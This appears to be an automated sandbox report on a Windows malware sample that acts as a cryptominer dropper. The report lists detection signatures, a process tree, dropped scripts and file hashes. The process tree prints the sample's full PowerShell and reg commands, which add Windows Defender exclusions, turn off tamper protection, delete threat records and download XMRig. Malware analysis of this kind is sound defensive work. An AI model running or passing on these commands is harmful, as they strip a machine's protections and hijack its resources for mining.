Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 16:20

General

  • Target
    2026-08-09_94f5cf5d133cc0b98ea8c98645da40a6_conti.exe
  • Size 700KB
  • Sample260809-ttdllabd24
  • SHA256 cc1119911ab6ec800fa443a703e7fc2db2ced1842153c20240081771e3b50cea
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 1 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-09_94f5cf5d133cc0b98ea8c98645da40a6_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-09_94f5cf5d133cc0b98ea8c98645da40a6_conti.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1212
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Anti Malware2\setup2.bat""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1932
      • C:\Windows\system32\fsutil.exe
        fsutil dirty query C:
        3⤵
          PID:2712
        • C:\Windows\system32\wscript.exe
          wscript.exe "C:\Users\Admin\AppData\Local\Temp\xmr_launcher.vbs"
          3⤵
          • Executes a VBScript file via the Windows Script Host.
          • Suspicious use of WriteProcessMemory
          PID:6000
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\Anti Malware2\setup2.bat" hidden
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5372
            • C:\Windows\system32\fsutil.exe
              fsutil dirty query C:
              5⤵
                PID:5684
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoProfile -Command "$ErrorActionPreference='Stop'; try { Add-MpPreference -ExclusionProcess '3.vlt' -ErrorAction Stop; Add-MpPreference -ExclusionProcess 'xmrig.exe' -ErrorAction Stop; Add-MpPreference -ExclusionPath (Join-Path $env:TEMP 'HDdje*') -ErrorAction Stop; $p=Get-MpPreference; if(($p.ExclusionProcess -contains '3.vlt') -and ($p.ExclusionPath -match 'HDdje')){exit 0}else{exit 3} } catch { exit 2 }"
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:5900
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoProfile -Command "$ErrorActionPreference='SilentlyContinue'; try { $k=[Microsoft.Win32.Registry]::LocalMachine.OpenSubKey('SOFTWARE\Microsoft\Windows Defender\Features',[Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,[System.Security.AccessControl.RegistryRights]::ChangePermissions); if($k){ $acl=$k.GetAccessControl(); $rule=New-Object System.Security.AccessControl.RegistryAccessRule([System.Security.Principal.WindowsIdentity]::GetCurrent().User,'FullControl','ContainerInherit','None','Allow'); $acl.SetAccessRule($rule); $k.SetAccessControl($acl); $k.Close() }; New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows Defender\Features' -Name TamperProtection -Value 0 -PropertyType DWord -Force } catch {}"
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3308
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
                5⤵
                  PID:2036
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -Command "$ErrorActionPreference='Stop'; try { Add-MpPreference -ExclusionProcess '3.vlt' -ErrorAction Stop; Add-MpPreference -ExclusionProcess 'xmrig.exe' -ErrorAction Stop; Add-MpPreference -ExclusionPath (Join-Path $env:TEMP 'HDdje*') -ErrorAction Stop; $p=Get-MpPreference; if(($p.ExclusionProcess -contains '3.vlt') -and ($p.ExclusionPath -match 'HDdje')){exit 0}else{exit 3} } catch { exit 2 }"
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5884
                • C:\Windows\system32\wscript.exe
                  wscript.exe "C:\Users\Admin\AppData\Local\Temp\xmr_excl_warn.vbs"
                  5⤵
                  • Executes a VBScript file via the Windows Script Host.
                  PID:2840
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -Command "$ErrorActionPreference='SilentlyContinue'; $threats=Get-MpThreatDetection -ErrorAction SilentlyContinue; foreach($d in $threats){ $r=($d.Resources -join ' '); if($r -match 'HDdje|3\.vlt|xmrig'){ Remove-MpThreat -ThreatID $d.ThreatID -ErrorAction SilentlyContinue } }"
                  5⤵
                  • Hide Artifacts: Ignore Process Interrupts
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4020
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -Command "Get-CimInstance Win32_Process | Where-Object {$_.CommandLine -match 'xmr_(watchdog|heartbeat)\.ps1'} | ForEach-Object {Stop-Process $_.ProcessId -Force}"
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3380
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im 3.vlt
                  5⤵
                  • Kills process with taskkill
                  PID:2600
                • C:\Windows\system32\PING.EXE
                  ping -n 3 127.0.0.1
                  5⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:3844
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c dir /s /b "C:\Users\Admin\AppData\Local\Temp\3.vlt" 2>nul
                  5⤵
                  • Executes a command shell one-liner
                  PID:2680
                • C:\Windows\system32\tasklist.exe
                  tasklist /fi "imagename eq xmrig.exe"
                  5⤵
                  • Discovers running processes
                  PID:3132
                • C:\Windows\system32\find.exe
                  find /i "xmrig.exe"
                  5⤵
                    PID:4268
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c dir /s /b "C:\Users\Admin\Desktop\xmrig.exe" 2>nul
                    5⤵
                    • Executes a command shell one-liner
                    PID:3228
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c dir /s /b "C:\Users\Admin\Monero-Miner\xmrig.exe" 2>nul
                    5⤵
                    • Executes a command shell one-liner
                    PID:4128
                  • C:\Windows\system32\curl.exe
                    curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\xmrig-6.26.0-windows-x64.zip" "https://github.com/xmrig/xmrig/releases/download/v6.26.0/xmrig-6.26.0-windows-x64.zip"
                    5⤵
                      PID:900
                    • C:\Windows\system32\PING.EXE
                      ping -n 6 127.0.0.1
                      5⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:4468

            Network

                  MITRE ATT&CK Enterprise v16

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                  Downloads

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 948B
                  • SHA256 68ee0e96047828955540c5925aeb4596e4acbde4a6943e50a85bd5425445b6da
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 ffcc4b109a3e1d994992b39c993a956b06d14b2f4b4852637e23bb40fb1264de
                  • MD5 SHA1 SHA512 TLSH

                  setup2.bat

                  • Path C:\Users\Admin\AppData\Local\Temp\Anti Malware2\setup2.bat
                  • Size 22KB
                  • SHA256 fc9bfd2fdbfe8a8a50b7478dd7f883ff2b4d2c0d27706f34460b8dd11af25bf1
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  __PSScriptPolicyTest_enlv2xpk.dxl.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_enlv2xpk.dxl.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH

                  xmr_excl_warn.vbs

                  • Path C:\Users\Admin\AppData\Local\Temp\xmr_excl_warn.vbs
                  • Size 328B
                  • SHA256 93e6c4ce697f463bf5ace74cfe5aac670b76c6da5374d06eca100d74da02a3fc
                  • MD5 SHA1 SHA512 TLSH

                  xmr_launcher.vbs

                  • Path C:\Users\Admin\AppData\Local\Temp\xmr_launcher.vbs
                  • Size 141B
                  • SHA256 4ee94390a0e3af4fcf4415c7275b1a9c7589cfcc0cf9ef56d275cd5a092c03a0
                  • MD5 SHA1 SHA512 TLSH

                  memory/1212-1-0x00007FF6AE590000-0x00007FF6AE5FF000-memory.dmp

                  memory/3380-42-0x000001FB647D0000-0x000001FB647F4000-memory.dmp

                  memory/3380-41-0x000001FB647D0000-0x000001FB647FA000-memory.dmp

                  memory/5900-10-0x0000023F2D3F0000-0x0000023F2D412000-memory.dmp

                  memory/5900-15-0x0000023F454D0000-0x0000023F454DA000-memory.dmp

                  memory/5900-14-0x0000023F45720000-0x0000023F457D2000-memory.dmp

                  memory/5900-13-0x0000023F45700000-0x0000023F4571E000-memory.dmp